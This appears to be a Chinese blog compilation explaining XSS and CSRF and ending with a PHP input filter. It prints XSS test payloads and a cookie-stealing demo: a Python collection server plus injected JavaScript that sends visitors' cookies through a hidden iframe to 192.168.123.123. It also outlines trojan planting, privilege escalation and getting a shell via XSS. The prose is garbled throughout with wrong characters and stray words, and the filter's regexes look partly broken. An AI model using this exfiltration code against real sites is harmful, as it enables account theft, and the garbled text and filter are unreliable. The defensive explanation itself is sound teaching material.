PHP CodeBase: 过滤XSS攻击的PHP函数

关于XSS攻击,若是不是很清楚:javascript

    什么是XSS跨站脚本攻击php

跨站脚本攻击(Cross-site scripting,一般简称为XSS)是一种网站应用程式的安全漏洞攻击,容许恶意使用者将程式码注入到网页上,其余使用者在观看网页时就会受到影响。这类攻击一般包含了HTML以及使用者端脚本语言。通常而言,跨站脚本攻击漏洞常见于网页容许攻击者经过输入对网页内容进行改写的地方。因为利用巧妙的注入恶意的指令码到由其余域网页的方法,攻击者可获得了更高的特权,窃取机密的网页内容、会话的cookie、以及许多其余的物件。html

XSS又叫CSS(Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,由于其被动且很差利用,因此许多人常忽略其危害性。java

XSS攻击分红两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另外一类则是来来自外部的攻击,主要指的本身构造XSS跨站漏洞网页或者寻找非目标机之外的有跨站漏洞的网页。如当咱们要渗透一个站点,咱们本身构造一个有跨站漏洞的网页,而后构造跨站语句,经过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。python

传统的跨站利用方式通常都是攻击者先构造一个跨站网页,而后在另外一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。我的认为这种方式太过于落后,对于弊端你们可能都知道,由于即使你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是通过加密的,若是想要cookie欺骗的话,一样也要受到其它的条件的限约。而本文提出的另外一种思路,则从必定程度上解决上述的问题。对于我的而言,比较成熟的方法是经过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能获得一个高权限。下面我将详细的介绍这种技术。react

若是有代码的话比较好办,咱们主要看代码里对用户输入的地方和变量有没有作长度和对“<”,“>”,“;”,“’”等字符是否作过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入:jquery

<script>alert('test')</script>

代码是不会被执行的,由于在源代码里,有其它的标签未闭合,如少了一个</script>,这个时候,你只要闭合一个</script>,代码就会执行,如:你在标题处输入:ajax

</script><script>alert('test')</script>

这样就能够弹出一个test 的框。sql

一般有一些方式能够测试网站是否有正确处理特殊字符:shell

><script>alert(document.cookie)</script>

='><script>alert(document.cookie)</script>

<script>alert(document.cookie)</script>

<script>alert(vulnerable)</script>

%3Cscript%3Ealert('XSS')%3C/script%3E

<script>alert('XSS')</script>

<img src="javascript:alert('XSS')">

<img src="http://xxx.com/yyy.png" onerror="alert('XSS')">

<div style="height:expression(alert('XSS'),1)" />(这个仅限 IE 有效)

使用者可作一个网页,试着用JavaScript把document.cookie当成参数传过去,而后再把它记录下来,这便是cookie窃取 。

XSS攻击方法有:

  • 窃取 cookie 。
  • 利用 iframe 或 frame 存取管理页面或后台页面。
  • 利用 XMLHttpRequest 存取管理页面或后台页面。

有的时候,当咱们对于目标程序找不到能够利用的跨站点,这个时候咱们能够利用能够从外部入手,利用咱们要拿下的是它的论坛,论坛的安全性作的很好,但其留言板却存在跨站漏洞,这个时候咱们能够在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提高权限的语句,如上面的bbsxp加asp扩展的语句。固然咱们可利用后台的备份功能直接获得一个shell。

咱们能够知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,咱们能够结合其它的技术,如sql injection.当咱们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候咱们利用update构造跨站语句,如用 iframe打开一个上面的备份获得shell的跨站语句等,一样,咱们能够在社会工程学时,利用QQ的其它跨站漏洞等等。

    XSS跨站脚本与CSRF跨站请求伪造

在那个年代,你们通常用拼接字符串的方式来构造动态 SQL 语句建立应用,因而 SQL 注入成了很流行的攻击方式。在这个年代,参数化查询已经成了普及用法,咱们已经离 SQL 注入很远了。可是,历史一样悠久的 XSS 和 CSRF 却没有远离咱们。因为以前已经对 XSS 很熟悉了,因此我对用户输入的数据一直很是当心。若是输入的时候没有通过 Tidy 之类的过滤,我必定会在模板输出时候所有转义。因此我的感受,要避免 XSS 也是很容易的,重点是要“当心”。但最近又据说了另外一种跨站攻击 CSRF ,因而找了些资料了解了一下,并与 XSS 放在一块儿作个比较。

XSS:脚本中的不速之客

XSS 全称“跨站脚本”,是注入攻击的一种。其特色是不对服务器端形成任何伤害,而是经过一些正常的站内交互途径,例如发布评论,提交含有 JavaScript 的内容文本。这时服务器端若是没有过滤或转义掉这些脚本,做为内容发布到了页面上,其余用户访问这个页面的时候就会运行这些脚本。

运行预期以外的脚本带来的后果有不少中,可能只是简单的恶做剧——一个关不掉的窗口:

while (true) {
    alert("你关不掉我~");
}

也能够是盗号或者其余未受权的操做——咱们来模拟一下这个过程,先创建一个用来收集信息的服务器:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

"""
跨站脚本注入的信息收集服务器
"""

import bottle

app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile='/var/db/myxss.sqlite')
app.install(plugin)

@app.route('/myxss/')
def show(cookies, db):
    try:
        db.execute('INSERT INTO "myxss" ("cookies") VALUES (?)', cookies)
    except:
        pass
    return ""

if __name__ == "__main__":
    app.run()

而后在某一个页面的评论中注入这段代码:

// 用 <script type="text/javascript"></script> 包起来放在评论中

(function(window, document) {
    // 构造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURI = "http://192.168.123.123/myxss/" + window.encodeURI(cookies);
    // 创建隐藏 iframe 用于通信
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 开工
    document.body.appendChild(hideFrame);
})(window, document);

因而每一个访问到含有该评论的页面的用户都会遇到麻烦——他们不知道背后正悄悄的发起了一个请求,是他们所看不到的。而这个请求,会把包含了他们的账号和其余隐私的信息发送到收集服务器上。

咱们知道 AJAX 技术所使用的 XMLHttpRequest 对象都被浏览器作了限制,只能访问当前域名下的 URL,所谓不能“跨域”问题。这种作法的初衷也是防范 XSS,多多少少都起了一些做用,但不是老是有用,正如上面的注入代码,用 iframe 也同样能够达到相同的目的。甚至在愿意的状况下,我还能用 iframe 发起 POST 请求。固然,如今一些浏览器可以很智能地分析出部分 XSS 并予以拦截,例如新版的 Firefox、Chrome 都能这么作。但拦截不老是能成功,况且这个世界上还有大量根本不知道什么是浏览器的用户在用着可怕的 IE6。从原则上将,咱们也不该该把事关安全性的责任推脱给浏览器,因此防止 XSS 的根本之道仍是过滤用户输入。用户输入老是不可信任的,这点对于 Web 开发者应该是常识。

正如上文所说,若是咱们不须要用户输入 HTML 而只想让他们输入纯文本,那么把全部用户输入进行 HTML 转义输出是个不错的作法。彷佛不少 Web 开发框架、模版引擎的开发者也发现了这一点,Django 内置模版和 Jinja2 模版老是默认转义输出变量的。若是没有使用它们,咱们本身也能够这么作。PHP 能够用 htmlspecialchars 函数,Python 能够导入 cgi 模块用其中的 cgi.escape 函数。若是使用了某款模版引擎,那么其必自带了方便快捷的转义方式。

真正麻烦的是,在一些场合咱们要容许用户输入 HTML,又要过滤其中的脚本。Tidy 等 HTML 清理库能够帮忙,但前提是咱们当心地使用。仅仅粗暴地去掉 script 标签是没有用的,任何一个合法 HTML 标签均可以添加 onclick 一类的事件属性来执行 JavaScript。对于复杂的状况,我我的更倾向于使用简单的方法处理,简单的方法就是白名单从新整理。用户输入的 HTML 可能拥有很复杂的结构,但咱们并不将这些数据直接存入数据库,而是使用 HTML 解析库遍历节点,获取其中数据(之因此不使用 XML 解析库是由于 HTML 要求有较强的容错性)。而后根据用户原有的标签属性,从新构建 HTML 元素树。构建的过程当中,全部的标签、属性都只从白名单中拿取。这样能够确保万无一失——若是用户的某种复杂输入不能为解析器所识别(前面说了 HTML 不一样于 XML,要求有很强的容错性),那么它不会成为漏网之鱼,由于白名单从新整理的策略会直接丢弃掉这些未能识别的部分。最后得到的新 HTML 元素树,咱们能够拍胸脯保证——全部的标签、属性都来自白名单,必定不会遗漏。

如今看来,大多数 Web 开发者都了解 XSS 并知道如何防范,每每大型的 XSS 攻击(包括前段时间新浪微博的 XSS 注入)都是因为疏漏。我我的建议在使用模版引擎的 Web 项目中,开启(或不要关闭)相似 Django Template、Jinja2 中“默认转义”(Auto Escape)的功能。在不须要转义的场合,咱们能够用相似 {{ myvar | raw }} 的方式取消转义。这种白名单式的作法,有助于下降咱们因为疏漏留下 XSS 漏洞的风险。

另一个风险集中区域,是富 AJAX 类应用(例如豆瓣网的阿尔法城)。这类应用的风险并不集中在 HTTP 的静态响应内容,因此不是开启模版自动转义能就能一劳永逸的。再加上这类应用每每须要跨域,开发者不得不本身打开危险的大门。这种状况下,站点的安全很是依赖开发者的细心和应用上线前有效的测试。如今亦有很多开源的 XSS 漏洞测试软件包(彷佛有篇文章提到豆瓣网的开发也使用自动化 XSS 测试),但我都没试用过,故不予评价。无论怎么说,我认为从用户输入的地方把好关老是成本最低而又最有效的作法。

CSRF:冒充用户之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么区别,后来才明白 CSRF 和 XSS 根本是两个不一样维度上的分类。XSS 是实现 CSRF 的诸多途径中的一条,但绝对不是惟一的一条。通常习惯上把经过 XSS 来实现的 CSRF 称为 XSRF。

CSRF 的全称是“跨站请求伪造”,而 XSS 的全称是“跨站脚本”。看起来有点类似,它们都是属于跨站攻击——不攻击服务器端而攻击正常访问网站的用户,但前面说了,它们的攻击类型是不一样维度上的分类。CSRF 顾名思义,是伪造请求,冒充用户在站内的正常操做。咱们知道,绝大多数网站是经过 cookie 等方式辨识用户身份(包括使用服务器端 Session 的网站,由于 Session ID 也是大多保存在 cookie 里面的),再予以受权的。因此要伪造用户的正常操做,最好的方法是经过 XSS 或连接欺骗等途径,让用户在本机(即拥有身份 cookie 的浏览器端)发起用户所不知道的请求。

严格意义上来讲,CSRF 不能分类为注入攻击,由于 CSRF 的实现途径远远不止 XSS 注入这一条。经过 XSS 来实现 CSRF 易如反掌,但对于设计不佳的网站,一条正常的连接都能形成 CSRF。

例如,一论坛网站的发贴是经过 GET 请求访问,点击发贴以后 JS 把发贴内容拼接成目标 URL 并访问:

http:// noexist.szu.edu.cn/bbs/create_post.php?title=标题&content=内容

那么,我只须要在论坛中发一帖,包含一连接:

http:// noexist.szu.edu.cn/bbs/create_post.php?title=我是脑残&content=哈哈

只要有用户点击了这个连接,那么他们的账户就会在不知情的状况下发布了这一帖子。可能这只是个恶做剧,可是既然发贴的请求能够伪造,那么删帖、转账、改密码、发邮件全均可以伪造。

如何解决这个问题,咱们是否能够效仿上文应对 XSS 的作法呢?过滤用户输入, 不容许发布这种含有站内操做 URL 的连接。这么作可能会有点用,但阻挡不了 CSRF,由于攻击者能够经过 QQ 或其余网站把这个连接发布上去,为了假装可能还使用 bit.ly 压缩一下网址,这样点击到这个连接的用户仍是同样会中招。因此对待 CSRF ,咱们的视角须要和对待 XSS 有所区别。CSRF 并不必定要有站内的输入,由于它并不属于注入攻击,而是请求伪造。被伪造的请求能够是任何来源,而非必定是站内。因此咱们惟有一条路可行,就是过滤请求的处理者。

比较头痛的是,由于请求能够从任何一方发起,而发起请求的方式多种多样,能够经过 iframe、ajax(这个不能跨域,得先 XSS)、Flash 内部发起请求(老是个大隐患)。因为几乎没有完全杜绝 CSRF 的方式,咱们通常的作法,是以各类方式提升攻击的门槛。

首先能够提升的一个门槛,就是改良站内 API 的设计。对于发布帖子这一类建立资源的操做,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。固然,最理想的作法是使用 REST 风格的 API 设计,GET、POST、PUT、DELETE 四种请求方法对应资源的读取、建立、修改、删除。如今的浏览器基本不支持在表单中使用 PUT 和 DELETE 请求方法,咱们可使用 ajax 提交请求(例如经过 jquery-form 插件,我最喜欢的作法),也可使用隐藏域指定请求方法,而后用 POST 模拟 PUT 和 DELETE (Ruby on Rails 的作法)。这么一来,不一样的资源操做区分的很是清楚,咱们把问题域缩小到了非 GET 类型的请求上——攻击者已经不可能经过发布连接来伪造请求了,但他们仍能够发布表单,或者在其余站点上使用咱们肉眼不可见的表单,在后台用 js 操做,伪造请求。

接下来咱们就能够用比较简单也比较有效的方法来防护 CSRF,这个方法就是“请求令牌”。读过《J2EE 核心模式》的同窗应该对“同步令牌”应该不会陌生,“请求令牌”和“同步令牌”原理是同样的,只不过目的不一样,后者是为了解决 POST 请求重复提交问题,前者是为了保证收到的请求必定来自预期的页面。实现方法很是简单,首先服务器端要以某种策略生成随机字符串,做为令牌(token),保存在 Session 里。而后在发出请求的页面,把该令牌以隐藏域一类的形式,与其余信息一并发出。在接收请求的页面,把接收到的信息中的令牌与 Session 中的令牌比较,只有一致的时候才处理请求,不然返回 HTTP 403 拒绝请求或者要求用户从新登录验证身份。

请求令牌虽然使用起来简单,但并不是不可破解,使用不当会增长安全隐患。使用请求令牌来防止 CSRF 有如下几点要注意:

  • 虽然请求令牌原理和验证码有类似之处,但不该该像验证码同样,全局使用一个 Session Key。由于请求令牌的方法在理论上是可破解的,破解方式是解析来源页面的文本,获取令牌内容。若是全局使用一个 Session Key,那么危险系数会上升。原则上来讲,每一个页面的请求令牌都应该放在独立的 Session Key 中。咱们在设计服务器端的时候,能够稍加封装,编写一个令牌工具包,将页面的标识做为 Session 中保存令牌的键。
  • 在 ajax 技术应用较多的场合,由于颇有请求是 JavaScript 发起的,使用静态的模版输出令牌值或多或少有些不方便。但不管如何,请不要提供直接获取令牌值的 API。这么作无疑是锁上了大门,却又把钥匙放在门口,让咱们的请求令牌退化为同步令牌。
  • 第一点说了请求令牌理论上是可破解的,因此很是重要的场合,应该考虑使用验证码(令牌的一种升级,目前来看破解难度极大),或者要求用户再次输入密码(亚马逊、淘宝的作法)。但这两种方式用户体验都很差,因此须要产品开发者权衡。
  • 不管是普通的请求令牌仍是验证码,服务器端验证过必定记得销毁。忘记销毁用过的令牌是个很低级可是杀伤力很大的错误。咱们学校的选课系统就有这个问题,验证码用完并未销毁,故只要获取一次验证码图片,其中的验证码能够在屡次请求中使用(只要再也不次刷新验证码图片),一直用到 Session 超时。这也是为什么选课系统加了验证码,外挂软件升级一次以后仍然畅通无阻。

以下也列出一些听说能有效防范 CSRF,其实效果甚微的方式甚至无效的作法。

  • 经过 referer 断定来源页面:referer 是在 HTTP Request Head 里面的,也就是由请求的发送者决定的。若是我喜欢,能够给 referer 任何值。固然这个作法并非毫无做用,起码能够防小白。但我以为性价比不如令牌。
  • 过滤全部用户发布的连接:这个是最无效的作法,由于首先攻击者不必定要从站内发起请求(上面提到过了),并且就算从站内发起请求,途径也远远不知连接一条。好比 <img src="./create_post.php" /> 就是个不错的选择,还不须要用户去点击,只要用户的浏览器会自动加载图片,就会自动发起请求。
  • 在请求发起页面用 alert 弹窗提醒用户:这个方法看上去能干扰站外经过 iframe 发起的 CSRF,但攻击者也能够考虑用 window.alert = function(){}; 把 alert 弄哑,或者干脆脱离 iframe,使用 Flash 来达到目的。

整体来讲,目前防护 CSRF 的诸多方法还没几个能完全无解的。因此 CSDN 上看到讨论 CSRF 的文章,通常都会含有“无耻”二字来形容(另外一位有该名号的貌似是 DDOS 攻击)。做为开发者,咱们能作的就是尽可能提升破解难度。当破解难度达到必定程度,网站就逼近于绝对安全的位置了(虽然不能到达)。上述请求令牌方法,就我认为是最有可扩展性的,由于其原理和 CSRF 原理是相克的。CSRF 难以防护之处就在于对服务器端来讲,伪造的请求和正常的请求本质上是一致的。而请求令牌的方法,则是揪出这种请求上的惟一区别——来源页面不一样。咱们还能够作进一步的工做,例如让页面中 token 的 key 动态化,进一步提升攻击者的门槛。本文只是我我的认识的一个总结,便不讨论过深了。

    利用XSS注入漏洞能对网站作什么

那么利用xss漏洞能作什么?我认为应该有几点:

一、针对性挂马。因此这类网站必定是游戏网站,银行网站或者是关于qq、taobao或者影响力至关大的网站等,它们必须有咱们日常须要盗取的账号密码;固然也或许是这个站点的浏览量至关高,咱们能将更多的马挂出去。而若是仅仅是平日常常的一个小站点的XSS漏洞,若是咱们要挂马,那么还不如就直接把木马页面地址贴出去。

二、用户权限下操做。这类网站则必须有会员了,并且这些会员有不少有意义的操做或者有咱们须要的内部我的资料,因此咱们能够经过XSS对已登陆访问者进行有权限操做。我认为cookies的盗取应该算做这一项,由于其目的也是获取用户操做权限(盗密码包括在内),从而获取用户某些信息或者进行权限下的相关操做。

三、DDOS攻击或傀儡机。这一样须要一个访问量很是大的站点,利用小站点莫不如咱们本身攻击或获取信息。咱们能够经过此页的访问用户不间断地攻击其余站点,或者进行局域网扫描等等。这类js工具早已经产生,js端口扫描、jikto、xssshell等等。

四、提权。通常这主要发生在论坛或信息管理系统,总之必定要有管理员了。这须要攻击者对目标系统至关熟悉(通常这样的系统须要开源代码),从而知道怎样构造语句进行提权。

五、实现特殊效果。譬如我在百度空间的插入视频,插入版块;譬如一些人在新浪博客或者校内网实现的特殊效果等等。

那么PHP站点如何防护XSS攻击呢?

下面的函数能够用来过滤用户的输入,保证输入是XSS安全的。具体如何过滤,能够参看函数内部,也有注释。

<?php
function RemoveXSS($val) {  
   // remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed  
   // this prevents some character re-spacing such as <java\0script>  
   // note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs  
   $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val);  
     
   // straight replacements, the user should never need these since they're normal characters  
   // this prevents like <IMG SRC=@avascript:alert('XSS')>  
   $search = 'abcdefghijklmnopqrstuvwxyz'; 
   $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';  
   $search .= '1234567890!@#$%^&*()'; 
   $search .= '~`";:?+/={}[]-_|\'\\'; 
   for ($i = 0; $i < strlen($search); $i++) { 
      // ;? matches the ;, which is optional 
      // 0{0,7} matches any padded zeros, which are optional and go up to 8 chars 
    
      // @ @ search for the hex values 
      $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ; 
      // @ @ 0{0,7} matches '0' zero to seven times  
      $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; 
   } 
    
   // now the only remaining whitespace attacks are \t, \n, and \r 
   $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); 
   $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); 
   $ra = array_merge($ra1, $ra2); 
    
   $found = true; // keep replacing as long as the previous round replaced something 
   while ($found == true) { 
      $val_before = $val; 
      for ($i = 0; $i < sizeof($ra); $i++) { 
         $pattern = '/'; 
         for ($j = 0; $j < strlen($ra[$i]); $j++) { 
            if ($j > 0) { 
               $pattern .= '(';  
               $pattern .= '(&#[xX]0{0,8}([9ab]);)'; 
               $pattern .= '|';  
               $pattern .= '|(&#0{0,8}([9|10|13]);)'; 
               $pattern .= ')*'; 
            } 
            $pattern .= $ra[$i][$j]; 
         } 
         $pattern .= '/i';  
         $replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag  
         $val = preg_replace($pattern, $replacement, $val); // filter out the hex tags  
         if ($val_before == $val) {  
            // no replacements were made, so exit the loop  
            $found = false;  
         }  
      }  
   }  
   return $val;  
}   
?>
相关文章
相关标签/搜索